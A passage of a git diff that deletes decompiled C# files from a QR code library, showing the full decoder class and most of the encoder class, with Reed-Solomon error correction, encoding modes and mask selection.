a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/QRCodeDecoder.cs +++ /dev/null @@ -1,406 +0,0 @@ -using System; -using System.Collections; -using System.Text; -using MessagingToolkit.QRCode.Codec.Data; -using MessagingToolkit.QRCode.Codec.Ecc; -using MessagingToolkit.QRCode.Codec.Reader; -using MessagingToolkit.QRCode.Codec.Util; -using MessagingToolkit.QRCode.ExceptionHandler; -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec; - -public class QRCodeDecoder -{ - internal class DecodeResult - { - internal int numCorrections; - - internal bool correctionSucceeded; - - internal sbyte[] decodedBytes; - - private QRCodeDecoder enclosingInstance; - - public virtual sbyte[] DecodedBytes => decodedBytes; - - public virtual int NumErrors => numCorrections; - - public virtual bool CorrectionSucceeded => correctionSucceeded; - - public QRCodeDecoder Enclosing_Instance => enclosingInstance; - - public DecodeResult(QRCodeDecoder enclosingInstance, sbyte[] decodedBytes, int numErrors, bool correctionSucceeded) - { - InitBlock(enclosingInstance); - this.decodedBytes = decodedBytes; - numCorrections = numErrors; - this.correctionSucceeded = correctionSucceeded; - } - - private void InitBlock(QRCodeDecoder enclosingInstance) - { - this.enclosingInstance = enclosingInstance; - } - } - - internal QRCodeSymbol qrCodeSymbol; - - internal int numTryDecode; - - internal ArrayList results; - - internal ArrayList lastResults = ArrayList.Synchronized(new ArrayList(10)); - - internal static DebugCanvas canvas; - - internal QRCodeImageReader imageReader; - - internal int numLastCorrections; - - internal bool correctionSucceeded; - - public static DebugCanvas Canvas - { - get - { - return canvas; - } - set - { - canvas = value; - } - } - - internal virtual Point[] AdjustPoints - { - get - { - ArrayList arrayList = ArrayList.Synchronized(new ArrayList(10)); - for (int i = 0; i < 4; i++) - { - arrayList.Add(new Point(1, 1)); - } - int num = 0; - int num2 = 0; - for (int num3 = 0; num3 > -4; num3--) - { - for (int num4 = 0; num4 > -4; num4--) - { - if (num4 != num3 && (num4 + num3) % 2 == 0) - { - arrayList.Add(new Point(num4 - num, num3 - num2)); - num = num4; - num2 = num3; - } - } - } - Point[] array = new Point[arrayList.Count]; - for (int j = 0; j < array.Length; j++) - { - array[j] = (Point)arrayList[j]; - } - return array; - } - } - - public QRCodeDecoder() - { - numTryDecode = 0; - results = ArrayList.Synchronized(new ArrayList(10)); - canvas = new DebugCanvasAdapter(); - } - - public virtual sbyte[] decodeBytes(QRCodeImage qrCodeImage) - { - Point[] adjustPoints = AdjustPoints; - ArrayList arrayList = ArrayList.Synchronized(new ArrayList(10)); - while (numTryDecode < adjustPoints.Length) - { - try - { - DecodeResult decodeResult = decode(qrCodeImage, adjustPoints[numTryDecode]); - if (decodeResult.CorrectionSucceeded) - { - return decodeResult.DecodedBytes; - } - arrayList.Add(decodeResult); - canvas.println("Decoding succeeded but could not correct"); - canvas.println("all errors. Retrying.."); - } - catch (DecodingFailedException ex) - { - if (ex.Message.IndexOf("Finder Pattern") >= 0) - { - throw ex; - } - } - finally - { - numTryDecode++; - } - } - if (arrayList.Count == 0) - { - throw new DecodingFailedException("Give up decoding"); - } - int num = -1; - int num2 = int.MaxValue; - for (int i = 0; i < arrayList.Count; i++) - { - DecodeResult decodeResult = (DecodeResult)arrayList[i]; - if (decodeResult.NumErrors < num2) - { - num2 = decodeResult.NumErrors; - num = i; - } - } - canvas.println("All trials need for correct error"); - canvas.println("Reporting #" + num + " that,"); - canvas.println("corrected minimum errors (" + num2 + ")"); - canvas.println("Decoding finished."); - return ((DecodeResult)arrayList[num]).DecodedBytes; - } - - public virtual string decode(QRCodeImage qrCodeImage, Encoding encoding) - { - sbyte[] array = decodeBytes(qrCodeImage); - byte[] array2 = new byte[array.Length]; - Buffer.BlockCopy(array, 0, array2, 0, array2.Length); - return encoding.GetString(array2); - } - - public virtual string decode(QRCodeImage qrCodeImage) - { - sbyte[] array = decodeBytes(qrCodeImage); - byte[] array2 = new byte[array.Length]; - Buffer.BlockCopy(array, 0, array2, 0, array2.Length); - Encoding encoding = ((!QRCodeUtility.IsUnicode(array2)) ? Encoding.ASCII : Encoding.Unicode); - return encoding.GetString(array2); - } - - internal virtual DecodeResult decode(QRCodeImage qrCodeImage, Point adjust) - { - try - { - if (numTryDecode == 0) - { - canvas.println("Decoding started"); - int[][] image = imageToIntArray(qrCodeImage); - imageReader = new QRCodeImageReader(); - qrCodeSymbol = imageReader.getQRCodeSymbol(image); - } - else - { - canvas.println("--"); - canvas.println("Decoding restarted #" + numTryDecode); - qrCodeSymbol = imageReader.getQRCodeSymbolWithAdjustedGrid(adjust); - } - } - catch (SymbolNotFoundException ex) - { - throw new DecodingFailedException(ex.Message); - } - canvas.println("Created QRCode symbol."); - canvas.println("Reading symbol."); - canvas.println("Version: " + qrCodeSymbol.VersionReference); - canvas.println("Mask pattern: " + qrCodeSymbol.MaskPatternRefererAsString); - int[] blocks = qrCodeSymbol.Blocks; - canvas.println("Correcting data errors."); - blocks = correctDataBlocks(blocks); - try - { - sbyte[] decodedByteArray = getDecodedByteArray(blocks, qrCodeSymbol.Version, qrCodeSymbol.NumErrorCollectionCode); - return new DecodeResult(this, decodedByteArray, numLastCorrections, correctionSucceeded); - } - catch (InvalidDataBlockException ex2) - { - canvas.println(ex2.Message); - throw new DecodingFailedException(ex2.Message); - } - } - - internal virtual int[][] imageToIntArray(QRCodeImage image) - { - int width = image.Width; - int height = image.Height; - int[][] array = new int[width][]; - for (int i = 0; i < width; i++) - { - array[i] = new int[height]; - } - for (int j = 0; j < height; j++) - { - for (int k = 0; k < width; k++) - { - array[k][j] = image.getPixel(k, j); - } - } - return array; - } - - internal virtual int[] correctDataBlocks(int[] blocks) - { - int num = 0; - int dataCapacity = qrCodeSymbol.DataCapacity; - int[] array = new int[dataCapacity]; - int numErrorCollectionCode = qrCodeSymbol.NumErrorCollectionCode; - int numRSBlocks = qrCodeSymbol.NumRSBlocks; - int num2 = numErrorCollectionCode / numRSBlocks; - if (numRSBlocks == 1) - { - ReedSolomon reedSolomon = new ReedSolomon(blocks, num2); - reedSolomon.correct(); - num += reedSolomon.NumCorrectedErrors; - if (num > 0) - { - canvas.println(Convert.ToString(num) + " data errors corrected."); - } - else - { - canvas.println("No errors found."); - } - numLastCorrections = num; - correctionSucceeded = reedSolomon.CorrectionSucceeded; - return blocks; - } - int num3 = dataCapacity % numRSBlocks; - if (num3 == 0) - { - int num4 = dataCapacity / numRSBlocks; - int[][] array2 = new int[numRSBlocks][]; - for (int i = 0; i < numRSBlocks; i++) - { - array2[i] = new int[num4]; - } - int[][] array3 = array2; - for (int i = 0; i < numRSBlocks; i++) - { - for (int j = 0; j < num4; j++) - { - array3[i][j] = blocks[j * numRSBlocks + i]; - } - ReedSolomon reedSolomon = new ReedSolomon(array3[i], num2); - reedSolomon.correct(); - num += reedSolomon.NumCorrectedErrors; - correctionSucceeded = reedSolomon.CorrectionSucceeded; - } - int num5 = 0; - for (int i = 0; i < numRSBlocks; i++) - { - for (int j = 0; j < num4 - num2; j++) - { - array[num5++] = array3[i][j]; - } - } - } - else - { - int num6 = dataCapacity / numRSBlocks; - int num7 = dataCapacity / numRSBlocks + 1; - int num8 = numRSBlocks - num3; - int[][] array4 = new int[num8][]; - for (int k = 0; k < num8; k++) - { - array4[k] = new int[num6]; - } - int[][] array5 = array4; - int[][] array6 = new int[num3][]; - for (int l = 0; l < num3; l++) - { - array6[l] = new int[num7]; - } - int[][] array7 = array6; - for (int i = 0; i < numRSBlocks; i++) - { - int num9; - ReedSolomon reedSolomon; - if (i < num8) - { - num9 = 0; - for (int j = 0; j < num6; j++) - { - if (j == num6 - num2) - { - num9 = num3; - } - array5[i][j] = blocks[j * numRSBlocks + i + num9]; - } - reedSolomon = new ReedSolomon(array5[i], num2); - reedSolomon.correct(); - num += reedSolomon.NumCorrectedErrors; - correctionSucceeded = reedSolomon.CorrectionSucceeded; - continue; - } - num9 = 0; - for (int j = 0; j < num7; j++) - { - if (j == num6 - num2) - { - num9 = num8; - } - array7[i - num8][j] = blocks[j * numRSBlocks + i - num9]; - } - reedSolomon = new ReedSolomon(array7[i - num8], num2); - reedSolomon.correct(); - num += reedSolomon.NumCorrectedErrors; - correctionSucceeded = reedSolomon.CorrectionSucceeded; - } - int num5 = 0; - for (int i = 0; i < numRSBlocks; i++) - { - if (i < num8) - { - for (int j = 0; j < num6 - num2; j++) - { - array[num5++] = array5[i][j]; - } - } - else - { - for (int j = 0; j < num7 - num2; j++) - { - array[num5++] = array7[i - num8][j]; - } - } - } - } - if (num > 0) - { - canvas.println(Convert.ToString(num) + " data errors corrected."); - } - else - { - canvas.println("No errors found."); - } - numLastCorrections = num; - return array; - } - - internal virtual sbyte[] getDecodedByteArray(int[] blocks, int version, int numErrorCorrectionCode) - { - QRCodeDataBlockReader qRCodeDataBlockReader = new QRCodeDataBlockReader(blocks, version, numErrorCorrectionCode); - try - { - return qRCodeDataBlockReader.DataByte; - } - catch (InvalidDataBlockException ex) - { - throw ex; - } - } - - internal virtual string getDecodedString(int[] blocks, int version, int numErrorCorrectionCode) - { - string text = null; - QRCodeDataBlockReader qRCodeDataBlockReader = new QRCodeDataBlockReader(blocks, version, numErrorCorrectionCode); - try - { - return qRCodeDataBlockReader.DataString; - } - catch (IndexOutOfRangeException ex) - { - throw new InvalidDataBlockException(ex.Message); - } - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/QRCodeEncoder.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/QRCodeEncoder.cs deleted file mode 100644 index 88d41c9..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/QRCodeEncoder.cs +++ /dev/null @@ -1,974 +0,0 @@ -using System; -using System.Drawing; -using System.IO; -using System.Reflection; -using System.Text; -using System.Xml; -using MessagingToolkit.QRCode.Codec.Util; - -namespace MessagingToolkit.QRCode.Codec; - -public class QRCodeEncoder -{ - public enum ENCODE_MODE - { - ALPHA_NUMERIC, - NUMERIC, - BYTE - } - - public enum ERROR_CORRECTION - { - L, - M, - Q, - H - } - - internal static string DATA_PATH = "qrcode_data"; - - internal static string QRCODE_DATA_PATH = string.Empty; - - internal ERROR_CORRECTION qrcodeErrorCorrect; - - internal ENCODE_MODE qrcodeEncodeMode; - - internal int qrcodeVersion; - - internal int qrcodeStructureappendN; - - internal int qrcodeStructureappendM; - - internal int qrcodeStructureappendParity; - - internal System.Drawing.Color qrCodeBackgroundColor; - - internal System.Drawing.Color qrCodeForegroundColor; - - internal int qrCodeScale; - - internal string qrcodeStructureappendOriginaldata; - - public virtual ERROR_CORRECTION QRCodeErrorCorrect - { - get - { - return qrcodeErrorCorrect; - } - set - { - qrcodeErrorCorrect = value; - } - } - - public virtual int QRCodeVersion - { - get - { - return qrcodeVersion; - } - set - { - if (value >= 0 && value <= 40) - { - qrcodeVersion = value; - } - } - } - - public virtual ENCODE_MODE QRCodeEncodeMode - { - get - { - return qrcodeEncodeMode; - } - set - { - qrcodeEncodeMode = value; - } - } - - public virtual int QRCodeScale - { - get - { - return qrCodeScale; - } - set - { - qrCodeScale = value; - } - } - - public virtual System.Drawing.Color QRCodeBackgroundColor - { - get - { - return qrCodeBackgroundColor; - } - set - { - qrCodeBackgroundColor = value; - } - } - - public virtual System.Drawing.Color QRCodeForegroundColor - { - get - { - return qrCodeForegroundColor; - } - set - { - qrCodeForegroundColor = value; - } - } - - public QRCodeEncoder() - { - qrcodeErrorCorrect = ERROR_CORRECTION.M; - qrcodeEncodeMode = ENCODE_MODE.BYTE; - qrcodeVersion = 7; - qrcodeStructureappendN = 0; - qrcodeStructureappendM = 0; - qrcodeStructureappendParity = 0; - qrcodeStructureappendOriginaldata = ""; - qrCodeScale = 4; - qrCodeBackgroundColor = System.Drawing.Color.White; - qrCodeForegroundColor = System.Drawing.Color.Black; - } - - public virtual void setStructureappend(int m, int n, int p) - { - if (n > 1 && n <= 16 && m > 0 && m <= 16 && p >= 0 && p <= 255) - { - qrcodeStructureappendM = m; - qrcodeStructureappendN = n; - qrcodeStructureappendParity = p; - } - } - - public virtual int calStructureappendParity(sbyte[] originaldata) - { - int i = 0; - int num = 0; - int num2 = originaldata.Length; - if (num2 > 1) - { - num = 0; - for (; i < num2; i++) - { - num ^= originaldata[i] & 0xFF; - } - } - else - { - num = -1; - } - return num; - } - - public virtual bool[][] calQrcode(byte[] qrcodeData) - { - int num = 0; - int num2 = qrcodeData.Length; - int[] array = new int[num2 + 32]; - sbyte[] array2 = new sbyte[num2 + 32]; - if (num2 <= 0) - { - bool[][] array3 = new bool[1][]; - bool[] array4 = new bool[1]; - array3[0] = array4; - return array3; - } - if (qrcodeStructureappendN > 1) - { - array[0] = 3; - array2[0] = 4; - array[1] = qrcodeStructureappendM - 1; - array2[1] = 4; - array[2] = qrcodeStructureappendN - 1; - array2[2] = 4; - array[3] = qrcodeStructureappendParity; - array2[3] = 8; - num = 4; - } - array2[num] = 4; - int[] array5; - int num3; - switch (qrcodeEncodeMode) - { - case ENCODE_MODE.ALPHA_NUMERIC: - { - array5 = new int[41] - { - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 2, 2, 2, 4, 4, 4, - 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4 - }; - array[num] = 2; - num++; - array[num] = num2; - array2[num] = 9; - num3 = num; - num++; - for (int i = 0; i < num2; i++) - { - char c = (char)qrcodeData[i]; - sbyte b = 0; - if (c >= '0' && c < ':') - { - b = (sbyte)(c - 48); - } - else if (c >= 'A' && c < '[') - { - b = (sbyte)(c - 55); - } - else - { - if (c == ' ') - { - b = 36; - } - if (c == '$') - { - b = 37; - } - if (c == '%') - { - b = 38; - } - if (c == '*') - { - b = 39; - } - if (c == '+') - { - b = 40; - } - if (c == '-') - { - b = 41; - } - if (c == '.') - { - b = 42; - } - if (c == '/') - { - b = 43; - } - if (c == ':') - { - b = 44; - } - } - if (i % 2 == 0) - { - array[num] = b; - array2[num] = 6; - continue; - } - array[num] = array[num] * 45 + b; - array2[num] = 11; - if (i < num2 - 1) - { - num++; - } - } - num++; - break; - } - case ENCODE_MODE.NUMERIC: - { - array5 = new int[41] - { - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 2, 2, 2, 4, 4, 4, - 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4 - }; - array[num] = 1; - num++; - array[num] = num2; - array2[num] = 10; - num3 = num; - num++; - for (int i = 0; i < num2; i++) - { - if (i % 3 == 0) - { - array[num] = qrcodeData[i] - 48; - array2[num] = 4; - continue; - } - array[num] = array[num] * 10 + (qrcodeData[i] - 48); - if (i % 3 == 1) - { - array2[num] = 7; - continue; - } - array2[num] = 10; - if (i < num2 - 1) - { - num++; - } - } - num++; - break; - } - default: - { - array5 = new int[41] - { - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8 - }; - array[num] = 4; - num++; - array[num] = num2; - array2[num] = 8; - num3 = num; - num++; - for (int i = 0; i < num2; i++) - { - array[i + num] = qrcodeData[i] & 0xFF; - array2[i + num] = 8; - } - num += num2; - break; - } - } - int num4 = 0; - for (int i = 0; i < num; i++) - { - num4 += array2[i]; - } - int num5 = qrcodeErrorCorrect switch - { - ERROR_CORRECTION.L => 1, - ERROR_CORRECTION.Q => 3, - ERROR_CORRECTION.H => 2, - _ => 0, - }; - int[][] array6 = new int[4][] - { - new int[41] - { - 0, 128, 224, 352, 512, 688, 864, 992, 1232, 1456, - 1728, 2032, 2320, 2672, 2920, 3320, 3624, 4056, 4504, 5016, - 5352, 5712, 6256, 6880, 7312, 8000, 8496, 9024, 9544, 10136, - 10984, 11640, 12328, 13048, 13800, 14496, 15312, 15936, 16816, 17728, - 18672 - }, - new int[41] - { - 0, 152, 272, 440, 640, 864, 1088, 1248, 1552, 1856, - 2192, 2592, 2960, 3424, 3688, 4184, 4712, 5176, 5768, 6360, - 6888, 7456, 8048, 8752, 9392, 10208, 10960, 11744, 12248, 13048, - 13880, 14744, 15640, 16568, 17528, 18448, 19472, 20528, 21616, 22496, - 23648 - }, - new int[41] - { - 0, 72, 128, 208, 288, 368, 480, 528, 688, 800, - 976, 1120, 1264, 1440, 1576, 1784, 2024, 2264, 2504, 2728, - 3080, 3248, 3536, 3712, 4112, 4304, 4768, 5024, 5288, 5608, - 5960, 6344, 6760, 7208, 7688, 7888, 8432, 8768, 9136, 9776, - 10208 - }, - new int[41] - { - 0, 104, 176, 272, 384, 496, 608, 704, 880, 1056, - 1232, 1440, 1648, 1952, 2088, 2360, 2600, 2936, 3176, 3560, - 3880, 4096, 4544, 4912, 5312, 5744, 6032, 6464, 6968, 7288, - 7880, 8264, 8920, 9368, 9848, 10288, 10832, 11408, 12016, 12656, - 13328 - } - }; - int num6 = 0; - if (qrcodeVersion == 0) - { - qrcodeVersion = 1; - for (int i = 1; i <= 40; i++) - { - if (array6[num5][i] >= num4 + array5[qrcodeVersion]) - { - num6 = array6[num5][i]; - break; - } - qrcodeVersion++; - } - } - else - { - num6 = array6[num5][qrcodeVersion]; - } - num4 += array5[qrcodeVersion]; - array2[num3] = (sbyte)(array2[num3] + array5[qrcodeVersion]); - int[] array7 = new int[41] - { - 0, 26, 44, 70, 100, 134, 172, 196, 242, 292, - 346, 404, 466, 532, 581, 655, 733, 815, 901, 991, - 1085, 1156, 1258, 1364, 1474, 1588, 1706, 1828, 1921, 2051, - 2185, 2323, 2465, 2611, 2761, 2876, 3034, 3196, 3362, 3532, - 3706 - }; - int num7 = array7[qrcodeVersion]; - int num8 = 17 + (qrcodeVersion << 2); - int[] array8 = new int[41] - { - 0, 0, 7, 7, 7, 7, 7, 0, 0, 0, - 0, 0, 0, 0, 3, 3, 3, 3, 3, 3, - 3, 4, 4, 4, 4, 4, 4, 4, 3, 3, - 3, 3, 3, 3, 3, 0, 0, 0, 0, 0, - 0 - }; - int num9 = array8[qrcodeVersion] + (num7 << 3); - sbyte[] array9 = new sbyte[num9]; - sbyte[] array10 = new sbyte[num9]; - sbyte[] array11 = new sbyte[num9]; - sbyte[] array12 = new sbyte[15]; - sbyte[] array13 = new sbyte[15]; - sbyte[] array14 = new sbyte[1]; - sbyte[] array15 = new sbyte[128]; - try - { - string fileName = DATA_PATH + ".qrv" + Convert.ToString(qrcodeVersion) + "_" + Convert.ToString(num5) + ".dat"; - Stream embeddedFile = GetEmbeddedFile(fileName); - BufferedStream bufferedStream = new BufferedStream(embeddedFile); - SystemUtils.ReadInput(bufferedStream, array9, 0, array9.Length); - SystemUtils.ReadInput(bufferedStream, array10, 0, array10.Length); - SystemUtils.ReadInput(bufferedStream, array11, 0, array11.Length); - SystemUtils.ReadInput(bufferedStream, array12, 0, array12.Length); - SystemUtils.ReadInput(bufferedStream, array13, 0, array13.Length); - SystemUtils.ReadInput(bufferedStream, array14, 0, array14.Length); - SystemUtils.ReadInput(bufferedStream, array15, 0, array15.Length); - bufferedStream.Close(); - embeddedFile.Close(); - } - catch (Exception throwable) - { - SystemUtils.WriteStackTrace(throwable, Console.Error); - } - sbyte b2 = 1; - for (sbyte b3 = 1; b3 < 128; b3++) - { - if (array15[b3] == 0) - { - b2 = b3; - break; - } - } - sbyte[] array16 = new sbyte[b2]; - Array.Copy(array15, 0, array16, 0, (byte)b2); - sbyte[] array17 = new sbyte[15] - { - 0, 1, 2, 3, 4, 5, 7, 8, 8, 8, - 8, 8, 8, 8, 8 - }; - sbyte[] array18 = new sbyte[15] - { - 8, 8, 8, 8, 8, 8, 8, 8, 7, 5, - 4, 3, 2, 1, 0 - }; - int maxDataCodewords = num6 >> 3; - int num10 = 4 * qrcodeVersion + 17; - int num11 = num10 * num10; - sbyte[] array19 = new sbyte[num11 + num10]; - try - { - string fileName = DATA_PATH + ".qrvfr" + Convert.ToString(qrcodeVersion) + ".dat"; - Stream embeddedFile = GetEmbeddedFile(fileName); - BufferedStream bufferedStream = new BufferedStream(embeddedFile); - SystemUtils.ReadInput(bufferedStream, array19, 0, array19.Length); - bufferedStream.Close(); - embeddedFile.Close(); - } - catch (Exception throwable) - { - SystemUtils.WriteStackTrace(throwable, Console.Error); - } - if (num4 <= num6 - 4) - { - array[num] = 0; - array2[num] = 4; - } - else if (num4 < num6) - { - array[num] = 0; - array2[num] = (sbyte)(num6 - num4); - } - else if (num4 > num6) - { - Console.Out.WriteLine("overflow"); - } - sbyte[] codewords = divideDataBy8Bits(array, array2, maxDataCodewords); - sbyte[] array20 = calculateRSECC(codewords, array14[0], array16, maxDataCodewords, num7); - sbyte[][] array21 = new sbyte[num10][]; - for (int j = 0; j < num10; j++) - { - array21[j] = new sbyte[num10]; - } - for (int i = 0; i < num10; i++) - { - for (int k = 0; k < num10; k++) - { - array21[k][i] = 0; - } - } - for (int i = 0; i < num7; i++) - { - sbyte b4 = array20[i]; - for (int k = 7; k >= 0; k--) - { - int num12 = i * 8 + k; - array21[array9[num12] & 0xFF][array10[num12] & 0xFF] = (sbyte)((255 * (b4 & 1)) ^ array11[num12]); - b4 = (sbyte)SystemUtils.URShift(b4 & 0xFF, 1); - } - } - for (int num13 = array8[qrcodeVersion]; num13 > 0; num13--) - { - int num14 = num13 + num7 * 8 - 1; - array21[array9[num14] & 0xFF][array10[num14] & 0xFF] = (sbyte)(0xFF ^ array11[num14]); - } - sbyte b5 = selectMask(array21, array8[qrcodeVersion] + num7 * 8); - sbyte b6 = (sbyte)(1 << (int)b5); - sbyte b7 = (sbyte)((num5 << 3) | b5); - string[] array22 = new string[32] - { - "101010000010010", "101000100100101", "101111001111100", "101101101001011", "100010111111001", "100000011001110", "100111110010111", "100101010100000", "111011111000100", "111001011110011", - "111110110101010", "111100010011101", "110011000101111", "110001100011000", "110110001000001", "110100101110110", "001011010001001", "001001110111110", "001110011100111", "001100111010000", - "000011101100010", "000001001010101", "000110100001100", "000100000111011", "011010101011111", "011000001101000", "011111100110001", "011101000000110", "010010010110100", "010000110000011", - "010111011011010", "010101111101101" - }; - for (int i = 0; i < 15; i++) - { - sbyte b8 = sbyte.Parse(array22[b7].Substring(i, i + 1 - i)); - array21[array17[i] & 0xFF][array18[i] & 0xFF] = (sbyte)(b8 * 255); - array21[array12[i] & 0xFF][array13[i] & 0xFF] = (sbyte)(b8 * 255); - } - bool[][] array23 = new bool[num10][]; - for (int l = 0; l < num10; l++) - { - array23[l] = new bool[num10]; - } - int num15 = 0; - for (int i = 0; i < num10; i++) - { - for (int k = 0; k < num10; k++) - { - if ((array21[k][i] & b6) != 0 || array19[num15] == 49) - { - array23[k][i] = true; - } - else - { - array23[k][i] = false; - } - num15++; - } - num15++; - } - return array23; - } - - private static sbyte[] divideDataBy8Bits(int[] data, sbyte[] bits, int maxDataCodewords) - { - int num = bits.Length; - int num2 = 0; - int num3 = 8; - int num4 = 0; - if (num != data.Length) - { - } - for (int i = 0; i < num; i++) - { - num4 += bits[i]; - } - int num5 = (num4 - 1) / 8 + 1; - sbyte[] array = new sbyte[maxDataCodewords]; - for (int i = 0; i < num5; i++) - { - array[i] = 0; - } - for (int i = 0; i < num; i++) - { - int num6 = data[i]; - int num7 = bits[i]; - bool flag = true; - if (num7 == 0) - { - break; - } - while (flag) - { - if (num3 > num7) - { - array[num2] = (sbyte)((array[num2] << num7) | num6); - num3 -= num7; - flag = false; - continue; - } - num7 -= num3; - array[num2] = (sbyte)((array[num2] << num3) | (num6 >> num7)); - if (num7 == 0) - { - flag = false; - } - else - { - num6 &= (1 << num7) - 1; - flag = true; - } - num2++; - num3 = 8; - } - } - if (num3 != 8) - { - array[num2] = (sbyte)(array[num2] << num3); - } - else - { - num2--; - } - if (num2 < maxDataCodewords - 1) - { - bool flag = true; - while (num2 < maxDataCodewords - 1) - { - num2++; - if (flag) - { - array[num2] = -20; - } - else - { - array[num2] = 17; - } - flag = !flag; - } - } - return array; - } - - private static sbyte[] calculateRSECC(sbyte[] codewords, sbyte rsEccCodewords, sbyte[] rsBlockOrder, int maxDataCodewords, int maxCodewords) - { - sbyte[][] array = new sbyte[256][]; - for (int i = 0; i < 256; i++) - { - array[i] = new sbyte[rsEccCodewords]; - } - try - { - string fileName = DATA_PATH + ".rsc" + rsEccCodewords + ".dat"; - Stream embeddedFile = GetEmbeddedFile(fileName); - BufferedStream bufferedStream = new BufferedStream(embeddedFile); - for (int i = 0; i < 256; i++) - { - SystemUtils.ReadInput(bufferedStream, array[i], 0, array[i].Length); - } - bufferedStream.Close(); - embeddedFile.Close(); - } - catch (Exception throwable) - { - SystemUtils.WriteStackTrace(throwable, Console.Error); - } - int num = 0; - int num2 = 0; - int num3 = 0; - sbyte[][] array2 = new sbyte[rsBlockOrder.Length][]; - sbyte[] array3 = new sbyte[maxCodewords]; - Array.Copy(codewords, 0, array3, 0, codewords.Length); - for (num = 0; num < rsBlockOrder.Length; num++) - { - array2[num] = new sbyte[(rsBlockOrder[num] & 0xFF) - rsEccCodewords]; - } - for (num = 0; num < maxDataCodewords; num++) - { - array2[num3][num2] = codewords[num]; - num2++; - if (num2 >= (rsBlockOrder[num3] & 0xFF) - rsEccCodewords) - { - num2 = 0; - num3++; - } - } - for (num3 = 0; num3 < rsBlockOrder.Length; num3++) - { - sbyte[] array4 = new sbyte[array2[num3].Length]; - array2[num3].CopyTo(array4, 0); - int num4 = rsBlockOrder[num3] & 0xFF; - int num5 = num4 - rsEccCodewords; - for (num2 = num5; num2 > 0; num2--) - { - sbyte b = array4[0]; - if (b != 0) - { - sbyte[] array5 = new sbyte[array4.Length - 1]; - Array.Copy(array4, 1, array5, 0, array4.Length - 1); - sbyte[] xb = array[b & 0xFF]; - array4 = calculateByteArrayBits(array5, xb, "xor"); - } - else if (rsEccCodewords < array4.Length) - { - sbyte[] array6 = new sbyte[array4.Length - 1]; - Array.Copy(array4, 1, array6, 0, array4.Length - 1); - array4 = new sbyte[array6.Length]; - array6.CopyTo(array4, 0); - } - else - { - sbyte[] array6 = new sbyte[rsEccCodewords]; - Array.Copy(array4, 1, array6, 0, array4.Length - 1); - array6[rsEccCodewords - 1] = 0; - array4 = new sbyte[array6.Length]; - array6.CopyTo(array4, 0); - } - } - Array.Copy(array4, 0, array3, codewords.Length + num3 * rsEccCodewords, (byte)rsEccCodewords); - } - return array3; - } - - private static sbyte[] calculateByteArrayBits(sbyte[] xa, sbyte[] xb, string ind) - { - sbyte[] array; - sbyte[] array2; - if (xa.Length > xb.Length) - { - array = new sbyte[xa.Length]; - xa.CopyTo(array, 0); - array2 = new sbyte[xb.Length]; - xb.CopyTo(array2, 0); - } - else - { - array = new sbyte[xb.Length]; - xb.CopyTo(array, 0); - array2 = new sbyte[xa.Length]; - xa.CopyTo(array2, 0); - } - int num = array.Length; - int num2 = array2.Length; - sbyte[] array3 = new sbyte[num]; - for (int i = 0; i < num; i++) - { - if (i < num2) - { - if ((object)ind == "xor") - { - array3[i] = (sbyte)(array[i] ^ array2[i]); - } - else - { - array3[i] = (sbyte)(array[i] | array2[i]); - } - } - else - { - array3[i] = array[i]; - } - } - return array3; - } - - private static sbyte selectMask(sbyte[][] matrixContent, int maxCodewordsBitWithRemain) - { - int num = matrixContent.Length; - int[] array = new int[8]; - int[] array2 = array; - array = new int[8]; - int[] array3 = array; - array = new int[8]; - int[] array4 = array; - array = new int[8]; - int[] array5 = array; - int num2 = 0; - int num3 = 0; - array = new int[8]; - int[] array6 = array; - for (int i = 0; i < num; i++) - { - array = new int[8]; - int[] array7 = array; - array = new int[8]; - int[] array8 = array; - bool[] array9 = new bool[8]; - bool[] array10 = array9; - array9 = new bool[8]; - bool[] array11 = array9; - for (int j = 0; j < num; j++) - { - if (j > 0 && i > 0) - { - num2 = matrixContent[j][i] & matrixContent[j - 1][i] & matrixContent[j][i - 1] & matrixContent[j - 1][i - 1] & 0xFF; - num3 = (matrixContent[j][i] & 0xFF) | (matrixContent[j - 1][i] & 0xFF) | (matrixContent[j][i - 1] & 0xFF) | (matrixContent[j - 1][i - 1] & 0xFF); - } - for (int k = 0; k < 8; k++) - { - array7[k] = ((array7[k] & 0x3F) << 1) | (SystemUtils.URShift(matrixContent[j][i] & 0xFF, k) & 1); - array8[k] = ((array8[k] & 0x3F) << 1) | (SystemUtils.URShift(matrixContent[i][j] & 0xFF, k) & 1); - if ((matrixContent[j][i] & (1 << k)) != 0) - { - array6[k]++; - } - if (array7[k] == 93) - { - array4[k] += 40; - } - if (array8[k] == 93) - { - array4[k] += 40; - } - if (j > 0 && i > 0) - { - if ((num2 & 1) != 0 || (num3 & 1) == 0) - { - array3[k] += 3; - } - num2 >>= 1; - num3 >>= 1; - } - if ((array7[k] & 0x1F) == 0 || (array7[k] & 0x1F) == 31) - { - if (j > 3) - { - if (array10[k]) - { - array2[k]++; - } - else - { - array2[k] += 3; - array10[k] = true; - } - } - } - else - { - array10[k] = false; - } - if ((array8[k] & 0x1F) == 0 || (array8[k] & 0x1F) == 31) - { - if (j > 3) - { - if (array11[k]) - { - array2[k]++; - continue; - } - array2[k] += 3; - array11[k] = true; - } - } - else - { - array11[k] = false; - } - } - } - } - int num4 = 0; - sbyte result = 0; - int[] array12 = new int[21] - { - 90, 80, 70, 60, 50, 40, 30, 20, 10, 0, - 0, 10, 20, 30, 40, 50, 60, 70, 80, 90, - 90 - }; - for (int k = 0; k < 8; k++) - { - array5[k] = array12[20 * array6[k] / maxCodewordsBitWithRemain]; - int num5 = array2[k] + array3[k] + array4[k] + array5[k]; - if 